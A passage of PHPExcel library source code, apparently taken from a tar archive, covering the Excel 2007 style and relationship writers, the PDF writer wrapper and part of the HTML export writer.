($pStyle->getProtection()->getLocked() !== PHPExcel_Style_Protection::PROTECTION_INHERIT)) { $objWriter->writeAttribute('locked', ($pStyle->getProtection()->getLocked() == PHPExcel_Style_Protection::PROTECTION_PROTECTED ? 'true' : 'false')); } if (($pStyle->getProtection()->getHidden() !== null) && ($pStyle->getProtection()->getHidden() !== PHPExcel_Style_Protection::PROTECTION_INHERIT)) { $objWriter->writeAttribute('hidden', ($pStyle->getProtection()->getHidden() == PHPExcel_Style_Protection::PROTECTION_PROTECTED ? 'true' : 'false')); } $objWriter->endElement(); } } $objWriter->endElement(); } /** * Write BorderPr * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param string $pName Element name * @param PHPExcel_Style_Border $pBorder Border style * @throws PHPExcel_Writer_Exception */ private function writeBorderPr(PHPExcel_Shared_XMLWriter $objWriter = null, $pName = 'left', PHPExcel_Style_Border $pBorder = null) { // Write BorderPr if ($pBorder->getBorderStyle() != PHPExcel_Style_Border::BORDER_NONE) { $objWriter->startElement($pName); $objWriter->writeAttribute('style', $pBorder->getBorderStyle()); // color $objWriter->startElement('color'); $objWriter->writeAttribute('rgb', $pBorder->getColor()->getARGB()); $objWriter->endElement(); $objWriter->endElement(); } } /** * Write NumberFormat * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Style_NumberFormat $pNumberFormat Number Format * @param int $pId Number Format identifier * @throws PHPExcel_Writer_Exception */ private function writeNumFmt(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Style_NumberFormat $pNumberFormat = null, $pId = 0) { // Translate formatcode $formatCode = $pNumberFormat->getFormatCode(); // numFmt if ($formatCode !== null) { $objWriter->startElement('numFmt'); $objWriter->writeAttribute('numFmtId', ($pId + 164)); $objWriter->writeAttribute('formatCode', $formatCode); $objWriter->endElement(); } } /** * Get an array of all styles * * @param PHPExcel $pPHPExcel * @return PHPExcel_Style[] All styles in PHPExcel * @throws PHPExcel_Writer_Exception */ public function allStyles(PHPExcel $pPHPExcel = null) { return $pPHPExcel->getCellXfCollection(); } /** * Get an array of all conditional styles * * @param PHPExcel $pPHPExcel * @return PHPExcel_Style_Conditional[] All conditional styles in PHPExcel * @throws PHPExcel_Writer_Exception */ public function allConditionalStyles(PHPExcel $pPHPExcel = null) { // Get an array of all styles $aStyles = array(); $sheetCount = $pPHPExcel->getSheetCount(); for ($i = 0; $i < $sheetCount; ++$i) { foreach ($pPHPExcel->getSheet($i)->getConditionalStylesCollection() as $conditionalStyles) { foreach ($conditionalStyles as $conditionalStyle) { $aStyles[] = $conditionalStyle; } } } return $aStyles; } /** * Get an array of all fills * * @param PHPExcel $pPHPExcel * @return PHPExcel_Style_Fill[] All fills in PHPExcel * @throws PHPExcel_Writer_Exception */ public function allFills(PHPExcel $pPHPExcel = null) { // Get an array of unique fills $aFills = array(); // Two first fills are predefined $fill0 = new PHPExcel_Style_Fill(); $fill0->setFillType(PHPExcel_Style_Fill::FILL_NONE); $aFills[] = $fill0; $fill1 = new PHPExcel_Style_Fill(); $fill1->setFillType(PHPExcel_Style_Fill::FILL_PATTERN_GRAY125); $aFills[] = $fill1; // The remaining fills $aStyles = $this->allStyles($pPHPExcel); foreach ($aStyles as $style) { if (!array_key_exists($style->getFill()->getHashCode(), $aFills)) { $aFills[ $style->getFill()->getHashCode() ] = $style->getFill(); } } return $aFills; } /** * Get an array of all fonts * * @param PHPExcel $pPHPExcel * @return PHPExcel_Style_Font[] All fonts in PHPExcel * @throws PHPExcel_Writer_Exception */ public function allFonts(PHPExcel $pPHPExcel = null) { // Get an array of unique fonts $aFonts = array(); $aStyles = $this->allStyles($pPHPExcel); foreach ($aStyles as $style) { if (!array_key_exists($style->getFont()->getHashCode(), $aFonts)) { $aFonts[ $style->getFont()->getHashCode() ] = $style->getFont(); } } return $aFonts; } /** * Get an array of all borders * * @param PHPExcel $pPHPExcel * @return PHPExcel_Style_Borders[] All borders in PHPExcel * @throws PHPExcel_Writer_Exception */ public function allBorders(PHPExcel $pPHPExcel = null) { // Get an array of unique borders $aBorders = array(); $aStyles = $this->allStyles($pPHPExcel); foreach ($aStyles as $style) { if (!array_key_exists($style->getBorders()->getHashCode(), $aBorders)) { $aBorders[ $style->getBorders()->getHashCode() ] = $style->getBorders(); } } return $aBorders; } /** * Get an array of all number formats * * @param PHPExcel $pPHPExcel * @return PHPExcel_Style_NumberFormat[] All number formats in PHPExcel * @throws PHPExcel_Writer_Exception */ public function allNumberFormats(PHPExcel $pPHPExcel = null) { // Get an array of unique number formats $aNumFmts = array(); $aStyles = $this->allStyles($pPHPExcel); foreach ($aStyles as $style) { if ($style->getNumberFormat()->getBuiltInFormatCode() === false && !array_key_exists($style->getNumberFormat()->getHashCode(), $aNumFmts)) { $aNumFmts[ $style->getNumberFormat()->getHashCode() ] = $style->getNumberFormat(); } } return $aNumFmts; } } PHPExcel/Writer/Excel2007/WriterPart.php 0000644 00000004337 14642534107 0013632 0 ustar 00 <?php /** * PHPExcel_Writer_Excel2007_WriterPart * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel2007 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ abstract class PHPExcel_Writer_Excel2007_WriterPart { /** * Parent IWriter object * * @var PHPExcel_Writer_IWriter */ private $parentWriter; /** * Set parent IWriter object * * @param PHPExcel_Writer_IWriter $pWriter * @throws PHPExcel_Writer_Exception */ public function setParentWriter(PHPExcel_Writer_IWriter $pWriter = null) { $this->parentWriter = $pWriter; } /** * Get parent IWriter object * * @return PHPExcel_Writer_IWriter * @throws PHPExcel_Writer_Exception */ public function getParentWriter() { if (!is_null($this->parentWriter)) { return $this->parentWriter; } else { throw new PHPExcel_Writer_Exception("No parent PHPExcel_Writer_IWriter assigned."); } } /** * Set parent IWriter object * * @param PHPExcel_Writer_IWriter $pWriter * @throws PHPExcel_Writer_Exception */ public function __construct(PHPExcel_Writer_IWriter $pWriter = null) { if (!is_null($pWriter)) { $this->parentWriter = $pWriter; } } } PHPExcel/Writer/Excel2007/RelsVBA.php 0000644 00000004761 14642534107 0012766 0 ustar 00 <?php /** * PHPExcel_Writer_Excel2007_RelsVBA * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel2007 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_Excel2007_RelsVBA extends PHPExcel_Writer_Excel2007_WriterPart { /** * Write relationships for a signed VBA Project * * @param PHPExcel $pPHPExcel * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeVBARelationships(PHPExcel $pPHPExcel = null) { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Relationships $objWriter->startElement('Relationships'); $objWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/package/2006/relationships'); $objWriter->startElement('Relationship'); $objWriter->writeAttribute('Id', 'rId1'); $objWriter->writeAttribute('Type', 'http://schemas.microsoft.com/office/2006/relationships/vbaProjectSignature'); $objWriter->writeAttribute('Target', 'vbaProjectSignature.bin'); $objWriter->endElement(); $objWriter->endElement(); return $objWriter->getData(); } } PHPExcel/Writer/PDF.php 0000644 00000006262 14642534107 0010566 0 ustar 00 <?php /** * PHPExcel_Writer_PDF * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_PDF * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_PDF implements PHPExcel_Writer_IWriter { /** * The wrapper for the requested PDF rendering engine * * @var PHPExcel_Writer_PDF_Core */ private $renderer = null; /** * Instantiate a new renderer of the configured type within this container class * * @param PHPExcel $phpExcel PHPExcel object * @throws PHPExcel_Writer_Exception when PDF library is not configured */ public function __construct(PHPExcel $phpExcel) { $pdfLibraryName = PHPExcel_Settings::getPdfRendererName(); if (is_null($pdfLibraryName)) { throw new PHPExcel_Writer_Exception("PDF Rendering library has not been defined."); } $pdfLibraryPath = PHPExcel_Settings::getPdfRendererPath(); if (is_null($pdfLibraryName)) { throw new PHPExcel_Writer_Exception("PDF Rendering library path has not been defined."); } $includePath = str_replace('\\', '/', get_include_path()); $rendererPath = str_replace('\\', '/', $pdfLibraryPath); if (strpos($rendererPath, $includePath) === false) { set_include_path(get_include_path() . PATH_SEPARATOR . $pdfLibraryPath); } $rendererName = 'PHPExcel_Writer_PDF_' . $pdfLibraryName; $this->renderer = new $rendererName($phpExcel); } /** * Magic method to handle direct calls to the configured PDF renderer wrapper class. * * @param string $name Renderer library method name * @param mixed[] $arguments Array of arguments to pass to the renderer method * @return mixed Returned data from the PDF renderer wrapper method */ public function __call($name, $arguments) { if ($this->renderer === null) { throw new PHPExcel_Writer_Exception("PDF Rendering library has not been defined."); } return call_user_func_array(array($this->renderer, $name), $arguments); } /** * {@inheritdoc} */ public function save($pFilename = null) { $this->renderer->save($pFilename); } } PHPExcel/Writer/HTML.php 0000644 00000164075 14642534107 0010730 0 ustar 00 <?php /** * PHPExcel_Writer_HTML * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_HTML * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_HTML extends PHPExcel_Writer_Abstract implements PHPExcel_Writer_IWriter { /** * PHPExcel object * * @var PHPExcel */ protected $phpExcel; /** * Sheet index to write * * @var int */ private $sheetIndex = 0; /** * Images root * * @var string */ private $imagesRoot = '.'; /** * embed images, or link to images * * @var boolean */ private $embedImages = false; /** * Use inline CSS? * * @var boolean */ private $useInlineCss = false; /** * Array of CSS styles * * @var array */ private $cssStyles; /** * Array of column widths in points * * @var array */ private $columnWidths; /** * Default font * * @var PHPExcel_Style_Font */ private $defaultFont; /** * Flag whether spans have been calculated * * @var boolean */ private $spansAreCalculated = false; /** * Excel cells that should not be written as HTML cells * * @var array */ private $isSpannedCell = array(); /** * Excel cells that are upper-left corner in a cell merge * * @var array */ private $isBaseCell = array(); /** * Excel rows that should not be written as HTML rows * * @var array */ private $isSpannedRow = array(); /** * Is the current writer creating PDF? * * @var boolean */ protected $isPdf = false; /** * Generate the Navigation block * * @var boolean */ private $generateSheetNavigationBlock = true; /** * Create a new PHPExcel_Writer_HTML * * @param PHPExcel $phpExcel PHPExcel object */ public function __construct(PHPExcel $phpExcel) { $this->phpExcel = $phpExcel; $this->defaultFont = $this->phpExcel->getDefaultStyle()->getFont(); } /** * Save PHPExcel to file * * @param string $pFilename * @throws PHPExcel_Writer_Exception */ public function save($pFilename = null) { // garbage collect $this->phpExcel->garbageCollect(); $saveDebugLog = PHPExcel_Calculation::getInstance($this->phpExcel)->getDebugLog()->getWriteDebugLog(); PHPExcel_Calculation::getInstance($this->phpExcel)->getDebugLog()->setWriteDebugLog(false); $saveArrayReturnType = PHPExcel_Calculation::getArrayReturnType(); PHPExcel_Calculation::setArrayReturnType(PHPExcel_Calculation::RETURN_ARRAY_AS_VALUE); // Build CSS $this->buildCSS(!$this->useInlineCss); // Open file $fileHandle = fopen($pFilename, 'wb+'); if ($fileHandle === false) { throw new PHPExcel_Writer_Exception("Could not open file $pFilename for writing."); } // Write headers fwrite($fileHandle, $this->generateHTMLHeader(!$this->useInlineCss)); // Write navigation (tabs) if ((!$this->isPdf) && ($this->generateSheetNavigationBlock)) { fwrite($fileHandle, $this->generateNavigation()); } // Write data fwrite($fileHandle, $this->generateSheetData()); // Write footer fwrite($fileHandle, $this->generateHTMLFooter()); // Close file fclose($fileHandle); PHPExcel_Calculation::setArrayReturnType($saveArrayReturnType); PHPExcel_Calculation::getInstance($this->phpExcel)->getDebugLog()->setWriteDebugLog($saveDebugLog); } /** * Map VAlign * * @param string $vAlign Vertical alignment * @return string */ private function mapVAlign($vAlign) { switch ($vAlign) { case PHPExcel_Style_Alignment::VERTICAL_BOTTOM: return 'bottom'; case PHPExcel_Style_Alignment::VERTICAL_TOP: return 'top'; case PHPExcel_Style_Alignment::VERTICAL_CENTER: case PHPExcel_Style_Alignment::VERTICAL_JUSTIFY: return 'middle'; default: return 'baseline'; } } /** * Map HAlign * * @param string $hAlign Horizontal alignment * @return string|false */ private function mapHAlign($hAlign) { switch ($hAlign) { case PHPExcel_Style_Alignment::HORIZONTAL_GENERAL: return false; case PHPExcel_Style_Alignment::HORIZONTAL_LEFT: return 'left'; case PHPExcel_Style_Alignment::HORIZONTAL_RIGHT: return 'right'; case PHPExcel_Style_Alignment::HORIZONTAL_CENTER: case PHPExcel_Style_Alignment::HORIZONTAL_CENTER_CONTINUOUS: return 'center'; case PHPExcel_Style_Alignment::HORIZONTAL_JUSTIFY: return 'justify'; default: return false; } } /** * Map border style * * @param int $borderStyle Sheet index * @return string */ private function mapBorderStyle($borderStyle) { switch ($borderStyle) { case PHPExcel_Style_Border::BORDER_NONE: return 'none'; case PHPExcel_Style_Border::BORDER_DASHDOT: return '1px dashed'; case PHPExcel_Style_Border::BORDER_DASHDOTDOT: return '1px dotted'; case PHPExcel_Style_Border::BORDER_DASHED: return '1px dashed'; case PHPExcel_Style_Border::BORDER_DOTTED: return '1px dotted'; case PHPExcel_Style_Border::BORDER_DOUBLE: return '3px double'; case PHPExcel_Style_Border::BORDER_HAIR: return '1px solid'; case PHPExcel_Style_Border::BORDER_MEDIUM: return '2px solid'; case PHPExcel_Style_Border::BORDER_MEDIUMDASHDOT: return '2px dashed'; case PHPExcel_Style_Border::BORDER_MEDIUMDASHDOTDOT: return '2px dotted'; case PHPExcel_Style_Border::BORDER_MEDIUMDASHED: return '2px dashed'; case PHPExcel_Style_Border::BORDER_SLANTDASHDOT: return '2px dashed'; case PHPExcel_Style_Border::BORDER_THICK: return '3px solid'; case PHPExcel_Style_Border::BORDER_THIN: return '1px solid'; default: // map others to thin return '1px solid'; } } /** * Get sheet index * * @return int */ public function getSheetIndex() { return $this->sheetIndex; } /** * Set sheet index * * @param int $pValue Sheet index * @return PHPExcel_Writer_HTML */ public function setSheetIndex($pValue = 0) { $this->sheetIndex = $pValue; return $this; } /** * Get sheet index * * @return boolean */ public function getGenerateSheetNavigationBlock() { return $this->generateSheetNavigationBlock; } /** * Set sheet index * * @param boolean $pValue Flag indicating whether the sheet navigation block should be generated or not * @return PHPExcel_Writer_HTML */ public function setGenerateSheetNavigationBlock($pValue = true) { $this->generateSheetNavigationBlock = (bool) $pValue; return $this; } /** * Write all sheets (resets sheetIndex to NULL) */ public function writeAllSheets() { $this->sheetIndex = null; return $this; } /** * Generate HTML header * * @param boolean $pIncludeStyles Include styles? * @return string * @throws PHPExcel_Writer_Exception */ public function generateHTMLHeader($pIncludeStyles = false) { // PHPExcel object known? if (is_null($this->phpExcel)) { throw new PHPExcel_Writer_Exception('Internal PHPExcel object not set to an instance of an object.'); } // Construct HTML $properties = $this->phpExcel->getProperties(); $html = '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">' . PHP_EOL; $html .= '<!-- Generated by PHPExcel - http://www.phpexcel.net -->' . PHP_EOL; $html .= '<html>' . PHP_EOL; $html .= ' <head>' . PHP_EOL; $html .= ' <meta http-equiv="Content-Type" content="text/html; charset=utf-8">' . PHP_EOL; if ($properties->getTitle() > '') { $html .= ' <title>' . htmlspecialchars($properties->getTitle()) . '</title>' . PHP_EOL; } if ($properties->getCreator() > '') { $html .= ' <meta name="author" content="' . htmlspecialchars($properties->getCreator()) . '" />' . PHP_EOL; } if ($properties->getTitle() > '') { $html .= ' <meta name="title" content="' . htmlspecialchars($properties->getTitle()) . '" />' . PHP_EOL; } if ($properties->getDescription() > '') { $html .= ' <meta name="description" content="' . htmlspecialchars($properties->getDescription()) . '" />' . PHP_EOL; } if ($properties->getSubject() > '') { $html .= ' <meta name="subject" content="' . htmlspecialchars($properties->getSubject()) . '" />' . PHP_EOL; } if ($properties->getKeywords() > '') { $html .= ' <meta name="keywords" content="' . htmlspecialchars($properties->getKeywords()) . '" />' . PHP_EOL; } if ($properties->getCategory() > '') { $html .= ' <meta name="category" content="' . htmlspecialchars($properties->getCategory()) . '" />' . PHP_EOL; } if ($properties->getCompany() > '') { $html .= ' <meta name="company" content="' . htmlspecialchars($properties->getCompany()) . '" />' . PHP_EOL; } if ($properties->getManager() > '') { $html .= ' <meta name="manager" content="' . htmlspecialchars($properties->getManager()) . '" />' . PHP_EOL; } if ($pIncludeStyles) { $html .= $this->generateStyles(true); } $html .= ' </head>' . PHP_EOL; $html .= '' . PHP_EOL; $html .= ' <body>' . PHP_EOL; return $html; } /** * Generate sheet data * * @return string * @throws PHPExcel_Writer_Exception */ public function generateSheetData() { // PHPExcel object known? if (is_null($this->phpExcel)) { throw new PHPExcel_Writer_Exception('Internal PHPExcel object not set to an instance of an object.'); } // Ensure that Spans have been calculated? if ($this->sheetIndex !== null || !$this->spansAreCalculated) { $this->calculateSpans(); } // Fetch sheets $sheets = array(); if (is_null($this->sheetIndex)) { $sheets = $this->phpExcel->getAllSheets(); } else { $sheets[] = $this->phpExcel->getSheet($this->sheetIndex); } // Construct HTML $html = ''; // Loop all sheets $sheetId = 0; foreach ($sheets as $sheet) { // Write table header $html .= $this->generateTableHeader($sheet); // Get worksheet dimension $dimension = explode(':', $sheet->calculateWorksheetDimension()); $dimension[0] = PHPExcel_Cell::coordinateFromString($dimension[0]); $dimension[0][0] = PHPExcel_Cell::columnIndexFromString($dimension[0][0]) - 1; $dimension[1] = PHPExcel_Cell::coordinateFromString($dimension[1]); $dimension[1][0] = PHPExcel_Cell::columnIndexFromString($dimension[1][0]) - 1; // row min,max $rowMin = $dimension[0][1]; $rowMax = $dimension[1][1]; // calculate start of <tbody>, <thead> $tbodyStart = $rowMin; $theadStart = $theadEnd = 0; // default: no <thead> no </thead> if ($sheet->getPageSetup()->isRowsToRepeatAtTopSet()) { $rowsToRepeatAtTop = $sheet->getPageSetup()->getRowsToRepeatAtTop(); // we can only support repeating rows that start at top row if ($rowsToRepeatAtTop[0] == 1) { $theadStart = $rowsToRepeatAtTop[0]; $theadEnd = $rowsToRepeatAtTop[1]; $tbodyStart = $rowsToRepeatAtTop[1] + 1; } } // Loop through cells $row = $rowMin-1; while ($row++ < $rowMax) { // <thead> ? if ($row == $theadStart) { $html .= ' <thead>' . PHP_EOL; $cellType = 'th'; } // <tbody> ? if ($row == $tbodyStart) { $html .= ' <tbody>' . PHP_EOL; $cellType = 'td'; } // Write row if there are HTML table cells in it if (!isset($this->isSpannedRow[$sheet->getParent()->getIndex($sheet)][$row])) { // Start a new rowData $rowData = array(); // Loop through columns $column = $dimension[0][0] - 1; while ($column++ < $dimension[1][0]) { // Cell exists? if ($sheet->cellExistsByColumnAndRow($column, $row)) { $rowData[$column] = PHPExcel_Cell::stringFromColumnIndex($column) . $row; } else { $rowData[$column] = ''; } } $html .= $this->generateRow($sheet, $rowData, $row - 1, $cellType); } // </thead> ? if ($row == $theadEnd) { $html .= ' </thead>' . PHP_EOL; } } $html .= $this->extendRowsForChartsAndImages($sheet, $row); // Close table body. $html .= ' </tbody>' . PHP_EOL; // Write table footer $html .= $this->generateTableFooter(); // Writing PDF? if ($this->isPdf) { if (is_null($this->sheetIndex) && $sheetId + 1 < $this->phpExcel->getSheetCount()) { $html .= '<div style="page-break-before:always" />'; } } // Next sheet ++$sheetId; } return $html; } /** * Generate sheet tabs * * @return string * @throws PHPExcel_Writer_Exception */ public function generateNavigation() { // PHPExcel object known? if (is_null($this->phpExcel)) { throw new PHPExcel_Writer_Exception('Internal PHPExcel object not set to an instance of an object.'); } // Fetch sheets $sheets = array(); if (is_null($this->sheetIndex)) { $sheets = $this->phpExcel->getAllSheets(); } else { $sheets[] = $this->phpExcel->getSheet($this->sheetIndex); } // Construct HTML $html = ''; // Only if there are more than 1 sheets if (count($sheets) > 1) { // Loop all sheets $sheetId = 0; $html .= '<ul class="navigation">' . PHP_EOL; foreach ($sheets as $sheet) { $html .= ' <li class="sheet' . $sheetId . '"><a href="#sheet' . $sheetId . '">' . $sheet->getTitle() . '</a></li>' . PHP_EOL; ++$sheetId; } $html .= '</ul>' . PHP_EOL; } return $html; } private function extendRowsForChartsAndImages(PHPExcel_Worksheet $pSheet, $row) { $rowMax = $row; $colMax = 'A'; if ($this->includeCharts) { foreach ($pSheet->getChartCollection() as $chart) { if ($chart instanceof PHPExcel_Chart) { $chartCoordinates = $chart->getTopLeftPosition(); $chartTL = PHPExcel_Cell::coordinateFromString($chartCoordinates['cell']); $chartCol = PHPExcel_Cell::columnIndexFromString($chartTL[0]); if ($chartTL[1] > $rowMax) { $rowMax = $chartTL[1]; if ($chartCol > PHPExcel_Cell::columnIndexFromString($colMax)) { $colMax = $chartTL[0]; } } } } } foreach ($pSheet->getDrawingCollection() as $drawing) { if ($drawing instanceof PHPExcel_Worksheet_Drawing) { $imageTL = PHPExcel_Cell::coordinateFromString($drawing->getCoordinates()); $imageCol = PHPExcel_Cell::columnIndexFromString($imageTL[0]); if ($imageTL[1] > $rowMax) { $rowMax = $imageTL[1]; if ($imageCol > PHPExcel_Cell::columnIndexFromString($colMax)) { $colMax = $imageTL[0]; } } } } $html = ''; $colMax++; while ($row <= $rowMax) { $html .= '<tr>'; for ($col = 'A'; $col != $colMax; ++$col) { $html .= '<td>'; $html .= $this->writeImageInCell($pSheet, $col.$row); if ($this->includeCharts) { $html .= $this->writeChartInCell($pSheet, $col.$row); } $html .= '</td>'; } ++$row; $html .= '</tr>'; } return $html; } /** * Generate image tag in cell * * @param PHPExcel_Worksheet $pSheet PHPExcel_Worksheet * @param string $coordinates Cell coordinates * @return string * @throws PHPExcel_Writer_Exception */ private function writeImageInCell(PHPExcel_Worksheet $pSheet, $coordinates) { // Construct HTML $html = ''; // Write images foreach ($pSheet->getDrawingCollection() as $drawing) { if ($drawing instanceof PHPExcel_Worksheet_Drawing) { if ($drawing->getCoordinates() == $coordinates) { $filename = $drawing->getPath(); // Strip off eventual '.' if (substr($filename, 0, 1) == '.') { $filename = substr($filename, 1); } // Prepend images root $filename = $this->getImagesRoot() . $filename; // Strip off eventual '.' if (substr($filename, 0, 1) == '.' && substr($filename, 0, 2) != './') { $filename = substr($filename, 1); } // Convert UTF8 data to PCDATA $filename = htmlspecialchars($filename); $html .= PHP_EOL; if ((!$this->embedImages) || ($this->isPdf)) { $imageData = $filename; } else { $imageDetails = getimagesize($filename); if ($fp = fopen($filename, "rb", 0)) { $picture = fread($fp, filesize($filename)); fclose($fp); // base64 encode the binary data, then break it // into chunks according to RFC 2045 semantics $base64 = chunk_split(base64_encode($picture)); $imageData = 'data:'.$imageDetails['mime'].';base64,' . $base64; } else { $imageData = $filename; } } $html .= '<div style="position: relative;">'; $html .= '<img style="position: absolute; z-index: 1; left: ' . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: ' . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="' . $imageData . '" border="0" />'; $html .= '</div>'; } } elseif ($drawing instanceof PHPExcel_Worksheet_MemoryDrawing) { if ($drawing->getCoordinates() != $coordinates) { continue; } ob_start(); // Let's start output buffering. imagepng($drawing->getImageResource()); // This will normally output the image, but because of ob_start(), it won't. $contents = ob_get_contents(); // Instead, output above is saved to $contents ob_end_clean(); // End the output buffer. $dataUri = "data:image/jpeg;base64," . base64_encode($contents); // Because of the nature of tables, width is more important than height. // max-width: 100% ensures that image doesnt overflow containing cell // width: X sets width of supplied image. // As a result, images bigger than cell will be contained and images smaller will not get stretched $html .= '<img src="'.$dataUri.'" style="max-width:100%;width:'.$drawing->getWidth().'px;" />'; } } return $html; } /** * Generate chart tag in cell * * @param PHPExcel_Worksheet $pSheet PHPExcel_Worksheet * @param string $coordinates Cell coordinates * @return string * @throws PHPExcel_Writer_Exception */ private function writeChartInCell(PHPExcel_Worksheet $pSheet, $coordinates) { // Construct HTML $html = ''; // Write charts foreach ($pSheet->getChartCollection() as $chart) { if ($chart instanceof PHPExcel_Chart) { $chartCoordinates = $chart->getTopLeftPosition(); if ($chartCoordinates['cell'] == $coordinates) { $chartFileName = PHPExcel_Shared_File::sys_get_temp_dir().'/'.uniqid().'.png'; if (!$chart->render($chartFileName)) { return; } $html .= PHP_EOL; $imageDetails = getimagesize($chartFileName); if ($fp = fopen($chartFileName, "rb", 0)) { $picture = fread($fp, filesize($chartFileName)); fclose($fp); // base64 encode the binary data, then break it // into chunks according to RFC 2045 semantics $base64 = chunk_split(base64_encode($picture)); $imageData = 'data:'.$imageDetails['mime'].';base64,' . $base64; $html .= '<div style="position: relative;">'; $html .= '<img style="position: absolute; z-index: 1; left: ' . $chartCoordinates['xOffset'] . 'px; top: ' . $chartCoordinates['yOffset'] . 'px; width: ' . $imageDetails[0] . 'px; height: ' . $imageDetails[1] . 'px;" src="' . $imageData . '" border="0" />' . PHP_EOL; $html .= '</div>'; unlink($chartFileName); } } } } // Return return $html; } /** * Generate CSS styles * * @param boolean $generateSurroundingHTML Generate surrounding HTML tags? (<style> and </style>) * @return string * @throws PHPExcel_Writer_Exception */ public function generateStyles($generateSurroundingHTML = true) { // PHPExcel object known? if (is_null($this->phpExcel)) { throw new PHPExcel_Writer_Exception('Internal PHPExcel object not set to an instance of an object.'); } // Build CSS $css = $this->buildCSS($generateSurroundingHTML); // Construct HTML $html = ''; // Start styles if ($generateSurroundingHTML) { $html .= ' <style type="text/css">' . PHP_EOL; $html .= ' html { ' . $this->assembleCSS($css['html']) . ' }' . PHP_EOL; } // Write all other styles foreach ($css as $styleName => $styleDefinition) { if ($styleName != 'html') { $html .= ' ' . $styleName . ' { ' . $this->assembleCSS($styleDefinition) . ' }' . PHP_EOL; } } // End styles if ($generateSurroundingHTML) { $html .= ' </style>' . PHP_EOL; } // Return return $html; } /** * Build CSS styles * * @param boolean $generateSurroundingHTML Generate surrounding HTML style? (html { }) * @return array * @throws PHPExcel_Writer_Exception */ public function buildCSS($generateSurroundingHTML = true) { // PHPExcel object known? if (is_null($this->phpExcel)) { throw new PHPExcel_Writer_Exception('Internal PHPExcel object not set to an instance of an object.'); } // Cached? if (!is_null($this->cssStyles)) { return $this->cssStyles; } // Ensure that spans have been calculated if (!$this->spansAreCalculated) { $this->calculateSpans(); } // Construct CSS $css = array(); // Start styles if ($generateSurroundingHTML) { // html { } $css['html']['font-family'] = 'Calibri, Arial, Helvetica, sans-serif'; $css['html']['font-size'] = '11pt'; $css['html']['background-color'] = 'white'; } // table { } $css['table']['border-collapse'] = 'collapse'; if (!$this->isPdf) { $css['table']['page-break-after'] = 'always'; } // .gridlines td { } $css['.gridlines td']['border'] = '1px dotted black'; $css['.gridlines th']['border'] = '1px dotted black'; // .b {} $css['.b']['text-align'] = 'center'; // BOOL // .e {} $css['.e']['text-align'] = 'center'; // ERROR // .f {} $css['.f']['text-align'] = 'right'; // FORMULA // .inlineStr {} 